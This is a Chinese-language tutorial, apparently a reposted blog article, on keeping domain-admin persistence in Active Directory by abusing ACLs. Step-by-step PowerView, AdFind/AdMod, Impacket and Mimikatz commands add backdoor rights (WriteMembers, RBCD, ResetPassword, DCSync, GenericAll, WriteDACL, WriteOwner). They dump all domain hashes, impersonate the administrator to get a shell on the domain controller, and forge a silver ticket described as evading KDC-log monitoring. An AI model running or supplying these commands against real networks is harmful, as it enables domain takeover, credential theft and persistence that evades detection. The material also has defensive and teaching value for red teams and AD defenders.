域权限维持(ACL滥用)

文章目录

        • 本次介绍利用ACL简述
        • 写入成员-member(bf9679c0-0de6-11d0-a285-00aa003049e2)
        • 写入成员-Members(bf9679c0-0de6-11d0-a285-00aa003049e2)手动配置
        • RBCD-msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)
        • 重置密码-User-Force-Change-Password(00299570-246d-11d0-a768-00aa006e0529)
        • Dcsync(Rights-GUID)添加与手动配置
        • Dcsync(ACL脚本添加与白银票据域权限维持)
        • 全部ACE-GenericAll
        • 全部写入ACE-GenericWrite
        • 修改权限-WriteDACL
        • 所有者-WriteOwner
        • 总结

本次介绍利用ACL简述

属性权限:
	1.member与AddMembers:
		微软官网说明:
		https://learn.microsoft.com/en-us/windows/win32/adschema/a-member
		拥有该属性的权限,可以将任意用户/组或机器加入到目标安全组中。
	2.msDS-AllowedToActOnBehalfOfOtherIdentity:
		微软官网说明:
		https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
		拥有该属性的权限,可以修改目标对象基于资源的约束委派RBCD,
		进行攻击获取目标的权限。
扩展权限:
	微软官方说明(扩展权限):
	https://learn.microsoft.com/zh-cn/windows/win32/adschema/extended-rights?source=recommendations
	1.User-Force-Change-Password:
		拥有该扩展权限,可以在不知道目标用户密码的情况下强制修改
		目标用户的密码。
	2.DCSync:
		拥有该扩展权限,可以通过目标复制服务的GetNCChanges接口
		向域控发起数据同步请求,从而获得域内任意用户密码的Hash。
	3.Generic Write:
		拥有该权限就等于拥有了对目标安全对象的完整控制权。
	4.WriteOwner:
		拥有该权限可以修改目标安全对象的Owner属性为自身,从而控制
		该安全对象。
	5.WriteDACL:
		拥有该权限,额可以王目标安全对象写入任何的ACE,从而完全控制
		安全对象。

写入成员-member(bf9679c0-0de6-11d0-a285-00aa003049e2)

拥有member权限可以将任意用户或组/机器账号添加目标中,
假设hack账户对Domain Admins组拥有WriteMembers权限,
则可以添加自身或其他账户于Domain Admins组。
利用步骤:
1.拿到域管权限将受控普通域账号对Domain Admins组添加WriteMembers ACL权限。
2.受控普通域账户添加其他账户或自身到Domain Admins组进行权限提升。
利用方式1(Powerview):
开启Powershell脚本开启需要管理员权限
Set-ExecutionPolicy RemoteSigned
下载:
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
Import-Module .\powerview.ps1
添加hack对Domain Admins组的WriteMembers ACL权限。
Add-DomainObjectAcl -TargetIdentity "domain admins" -PrincipalIdentity hack -Rights WriteMembers -Verbose

域权限维持(ACL滥用)_第1张图片

Adfind查询是否添加成功命令:
	Adfind.exe -b "CN=Domain Admins,CN=Users,DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;test\hack	

域权限维持(ACL滥用)_第2张图片

使用hack账户添加AclTest1到Domain Admins组:
net group "domain admins" AclTest1 /add /domain
利用方式2(admod):
adfind -users -rb CN=hack333 -dsq|admod -users -rb CN="Domain Admins" -stdinadd member

域权限维持(ACL滥用)_第3张图片

写入成员-Members(bf9679c0-0de6-11d0-a285-00aa003049e2)手动配置

在高权限组对象中添加写入成员ACE条件可以将任意用户拉近
该组比如Domain Admins组配置了hack999账户的添加写入成员
ACE,虽然hack999账户是普通域成员但是可以将自身或其他域
成员拉近管理员组中进行权限提升,下面讲解如果进行配置相关。

域权限维持(ACL滥用)_第4张图片

域权限维持(ACL滥用)_第5张图片
域权限维持(ACL滥用)_第6张图片
域权限维持(ACL滥用)_第7张图片
域权限维持(ACL滥用)_第8张图片
域权限维持(ACL滥用)_第9张图片
域权限维持(ACL滥用)_第10张图片

将普通域成员cxk添加到域管组:
net group "domain admins" cxk /add /domain

在这里插入图片描述

RBCD-msDS-AllowedToActOnBehalfOfOtherldentity(3f78c3e5-f79a-46bd-a0b8-9d18116ddc79)

微软文档说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/a-msds-allowedtoactonbehalfofotheridentity
在获得域管权限下可以将域内普通用户账户添加对高权限机器账户的msDS-AllowedToActOnBehalfOfOtherldentity
写入的权限,拥有该属性可以对目标机器账号进行约束资源委派利用。
手动配置:

域权限维持(ACL滥用)_第11张图片

powerview通过System-Id-Guid进行配置:

域权限维持(ACL滥用)_第12张图片

	导入脚本
	Import-Module .\PowerView.PS1
	通过System-Id-Guid添加hack100账户对域控的msDS-AllowedToActOnBehalfOfOtherldentity写入属性权限ACE。
	文档说明:
	https://powersploit.readthedocs.io/en/latest/Recon/Add-DomainObjectAcl/

域权限维持(ACL滥用)_第13张图片

	Add-DomainObjectAcl -TargetIdentity "CN=WIN-DC,OU=Domain Controllers,DC=test,DC=com" -PrincipalIdentity hack100 -RightsGUID 3f78c3e5-f79a-46bd-a0b8-9d18116ddc79 -Verbose

域权限维持(ACL滥用)_第14张图片

使用Adfind查询是否添加成功:
	AdFind.exe -b "CN=WIN-DC,OU=Domain Controllers,DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;;;test\hack100

域权限维持(ACL滥用)_第15张图片

进行资源约束委派利用(Impacket):
详细过程大家可以看我之前写的关于资源约束委派利用的文章地址如下:
http://t.csdn.cn/gsAF3
SAMR协议创建受控的机器账号:
python3 addcomputer.py -computer-name 'hackJiQi' -computer-pass 'password123' -dc-ip 10.211.55.100 'test.com/hack100:Password1234'  -method SAMR -debug

域权限维持(ACL滥用)_第16张图片

使用Adfind查询新增机器账号hackJiQi$的sid
AdFind.exe -f "(&(objectClass=computer)(sAMAccountName=hackJiQi$))" objectSid

域权限维持(ACL滥用)_第17张图片

objectSid: S-1-5-21-3042504039-1145428418-1324677547-1164
rbcd.py脚本修改WIN-DC$的msDS-AllowedToActOnBehalfOfOtherIdentity属性写入hackJiQi$:
	python3 rbcd.py -delegate-to WIN-DC$ -delegate-from hackJiQi$ -dc-ip 10.211.55.100 test/hack100:Pass123 -action write

域权限维持(ACL滥用)_第18张图片

以administrator身份对域控进行基于资源的约束委派请求cifs服务TGS票据:
	python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/getST.py -dc-ip 10.211.55.100 -spn cifs/WIN-DC.test.com -impersonate administrator 'test.com/hackJiQi$:password123'

域权限维持(ACL滥用)_第19张图片

export KRB5CCNAME=administrator.ccache						导入administrator票据
进行ptt获取shell
proxychains python3 /home/kali/Desktop/AD/impacket-0.10.0/examples/wmiexec.py -k test.com/[email protected] -no-pass -codec gbk

域权限维持(ACL滥用)_第20张图片

重置密码-User-Force-Change-Password(00299570-246d-11d0-a768-00aa006e0529)

在获取域管的情况下可以将任意普通域账号添加高权限账号重置密码ACE,
无论高权限账号如何密码变更都可以使用ACE账号进行密码重置进行域权限维持。
微软文档说明:
https://learn.microsoft.com/en-us/windows/win32/adschema/r-user-force-change-password
手动配置:

域权限维持(ACL滥用)_第21张图片

将HackPassword普通域成员对Administrator域管添加重置密码ACE,下面使用Admod进行密码重置:
Admod -users -rb cn=administrator unicodepwd::Pass@123 -optenc	

域权限维持(ACL滥用)_第22张图片

使用powerview脚本进行ACE添加:
	Import-Module .\powerview.ps1
	Add-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackPassword2 -Rights ResetPassword -Verbose

域权限维持(ACL滥用)_第23张图片
域权限维持(ACL滥用)_第24张图片

使用powerview脚本进行ACE添加(Rights-GUID方式):

域权限维持(ACL滥用)_第25张图片
域权限维持(ACL滥用)_第26张图片

Import-Module .\powerview.ps1
Rights-GUID方式添加:
Add-DomainObjectAcl -TargetIdentity "CN=yuguan,CN=Users,DC=test,DC=com" -PrincipalIdentity hack100 -RightsGUID 00299570-246d-11d0-a768-00aa006e0529 -Verbose

域权限维持(ACL滥用)_第27张图片
域权限维持(ACL滥用)_第28张图片

需要注意:
	必须使用Admod工具进行密码重置使用cmd命令重置密码会提示拒绝访问。

域权限维持(ACL滥用)_第29张图片
域权限维持(ACL滥用)_第30张图片

Dcsync(Rights-GUID)添加与手动配置

Dcsync是常用的域内利用技术可以导出全部账号ntlm hash,拥有该权限的账号
可以通过目录复制服务GetNCChanges接口向域控发起数据同步请求,Dcsync需要
如下3个Rights-GUID。
1.复制目录变更:DS-Replication-Get-Changes(1131f6aa-9c07-11d1-f79f-00c04fc2dcd2)		
	https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes

域权限维持(ACL滥用)_第31张图片

PowerView通过Rights-GUID添加DcsyncTest账号具有复制目录变更ACE命令:
	Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 1131f6aa-9c07-11d1-f79f-00c04fc2dcd2 -Verbose

域权限维持(ACL滥用)_第32张图片
域权限维持(ACL滥用)_第33张图片

2.复制目录更改所有项:DS-Replication-Get-Changes-All(1131f6ad-9c07-11d1-f79f-00c04fc2dcd2)
	https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-all		

域权限维持(ACL滥用)_第34张图片

PowerView通过Rights-GUID添加DcsyncTest账号具有复制目录更改所有项ACE命令:
	Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2 -Verbose

域权限维持(ACL滥用)_第35张图片
域权限维持(ACL滥用)_第36张图片

3.正在复制筛选集中的目录更改:DS-Replication-Get-Changes-In-Filtered-Set(89e95b76-444d-4c62-991a-0facbeda640c)特殊环境下需要
	https://learn.microsoft.com/en-us/windows/win32/adschema/r-ds-replication-get-changes-in-filtered-set

域权限维持(ACL滥用)_第37张图片

PowerView通过Rights-GUID添加DcsyncTest账号具有正在复制筛选集中的目录更改ACE命令:
	Add-DomainObjectAcl -TargetIdentity "DC=test,DC=com" -PrincipalIdentity DcsyncTest -RightsGUID 89e95b76-444d-4c62-991a-0facbeda640c -Verbose	

域权限维持(ACL滥用)_第38张图片
域权限维持(ACL滥用)_第39张图片

手动配置只需要添加:复制目录变更/复制目录更改所有项,在特殊有环境下需要正在复制筛选集中的目录更改以上ACE。

Dcsync(ACL脚本添加与白银票据域权限维持)

拿到域管权限后使用PowerView脚本将普通受控的域账号添加Dcsync ACL用于权限维持。
对普通域账号HackDcsync添加Dcsync ACL PowerView命令:
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity HackDcsync -Rights DCSync -Verbose

域权限维持(ACL滥用)_第40张图片

使用Adfind工具查看是否添加成功:
	Adfind.exe -b "DC=test,DC=com" nTSecurityDescriptor -sddl+++ -sddlfilter ;;;"Replicating Directory Changes";;test\HackDcsync -recmute

域权限维持(ACL滥用)_第41张图片

mimikatz进行Dcsync操作:
lsadump::dcsync /domain:test.com /all /csv

域权限维持(ACL滥用)_第42张图片

Dcsync ACL域账号白银票据域权限维持:
	其实跟传统的白银票据利用没有区别但是,不过这里咱们的账号HackDcsync是隶属于Domain Users组的
	没有域管权限一些安全产品可能对Dcsync监控的是域控机器账号与高权限组用户,对于低权限账号没有进行
	监控这里选择白银票据而非黄金票据是因为黄金票据申请TGS会留下KDC日志,而白银票据只会在终端产生日志
	在只监控KDC日志的情况下可以绕过安全告警。
	白银票据利用方式可以参考我之前写的文章:
	http://t.csdn.cn/8VzYO
	mimikatz制作HackDcsync ldap白银票据:
	kerberos::golden /domain:test.com /sid:S-1-5-21-3042504039-1145428418-1324677547 /target:WIN-DC.test.com /service:ldap /rc4:80fb77c064532c6d041657a6d9997340 /user:HackDcsync /ptt

域权限维持(ACL滥用)_第43张图片

全部ACE-GenericAll

GenericAll就是对目标添加全部ACE也就是对目标拥有了完全控制权限,对于不同的对象拥有的ACE是不同的
比如Domain Admins组就没有Dcsync的ACE,而administrator也没有写入成员的ACE等等,因此针对不同的目标
对象拥有的权限是不同的。
对域账号添加GenericAll:
	使用powerview添加GenericAll ACL添加
	Import-Module .\powerview.ps1
	Add-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackAllAce -Rights All -Verbose

域权限维持(ACL滥用)_第44张图片

Get-ObjectAcl -SamAccountName administrator -ResolveGUIDs | ? {$_. ActiveDirectoryRights -eq "GenericAll"}	

域权限维持(ACL滥用)_第45张图片

域权限维持(ACL滥用)_第46张图片

拥有HackAllAce对Administrator拥有了完全控制器可以对目标进行密码重置读写全部属性等等。
移除HackAllAce对administrator的完全控制权。
Remove-DomainObjectAcl -TargetIdentity administrator -PrincipalIdentity HackAllAce -Rights All -Verbose
下面简单讲述不同对象的利用方式当然你拥有了全部权限还有其他利用方式下面只是简述:
1.域对象进行Dcsync
2.机器账号进行RBCD
3.高权限组进行成员添加
4.高权限域账号重置密码

全部写入ACE-GenericWrite

GenericWrite可以修改目标安全对象的所有属性比如member/msDS-AllowedToActOnBehalfOfOtherIdentity等,
但是不会添加单一向权限只会添加写入权限,比如Dcsync/User-Force-Change-Password等单一属性。

域权限维持(ACL滥用)_第47张图片

具体利用跟上述以及讲解过了这里就以加入管理员组为例子:

域权限维持(ACL滥用)_第48张图片

修改权限-WriteDACL

对目标拥有WriteDACL可以修改目标的DACL可以写入任意ACE,比如拥有对Domain Admins的WriteDACL权限
就可以将普通域成员添加对Domain Admins的写入成员ACE,使用该普通成员可以将任意用户添加到管理员组。
下面以HackDacl账号添加对域的WriteDACL权限。

在这里插入图片描述

也可以使用powerview脚本以ACE GUID的方式进行添加这里不再进行赘述。
使用Adfind查询是否添加成功:
AdFind.exe -b DC=test,DC=com -sc getacl -sddlfilter ;;;;;test\HackDacl

域权限维持(ACL滥用)_第49张图片

HackDacl对DcsyncTest666账号添加Dcsync ACL
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity DcsyncTest666 -Rights Dcsync -Verbose

域权限维持(ACL滥用)_第50张图片
域权限维持(ACL滥用)_第51张图片

所有者-WriteOwner

WriteOwner是修改目标的所有者为拥有权限的普通账户,利用该账户就可以对目标进行WriteDacl属性利用,
所有者默认拥有WriteDACL权限。

域权限维持(ACL滥用)_第52张图片
域权限维持(ACL滥用)_第53张图片

HackWriteOwner账户对HackCXK添加对域的Dcsync ACL权限
Add-DomainObjectAcl -TargetIdentity 'DC=test,DC=com' -PrincipalIdentity HackCXK -Rights Dcsync -Verbose

域权限维持(ACL滥用)_第54张图片
域权限维持(ACL滥用)_第55张图片
域权限维持(ACL滥用)_第56张图片

总结

本篇文章讲述如何使用Rights-GUID方式添加ACE以及现在常见的八种ACL权限滥用的配置与利用,
其中使用到的工具有Admod/Adinfd/powerview等,ACL的域权限维持手段还是以最小权限为优,比如
RBCD/重置密码/写入成员等尽量不要添加全部ACE这种在实战的时候可以尽量使用简单的权限维持
手法。

你可能感兴趣的:(域安全,网络安全,安全,信息安全,网络,安全漏洞)